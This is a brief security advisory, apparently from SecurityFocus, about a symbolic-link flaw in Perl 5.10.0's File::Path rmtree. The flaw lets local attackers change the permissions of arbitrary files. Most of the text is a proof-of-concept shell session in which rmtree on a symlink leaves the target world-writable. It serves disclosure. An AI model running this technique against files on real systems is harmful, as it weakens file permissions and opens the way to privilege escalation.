source: https://www.securityfocus.com/bid/29902/info Computers running Perl are prone to a local vulnerability that occurs when handling symbolic links. Attackers can leverage this issue to change the permissions of arbitrary files. Perl 5.10.0 is vulnerable; other versions may also be affected. % touch foo % ln -s foo bar % ls -l foo bar lrwxrwxrwx 1 example example 3 2008-06-21 09:06 bar -> foo -rw-r--r-- 1 example example 0 2008-06-21 09:06 foo % perl -e 'use File::Path rmtree; rmtree bar' % ls -l foo bar ls: cannot access bar: No such file or directory -rwxrwxrwx 1 example example 0 2008-06-21 09:06 foo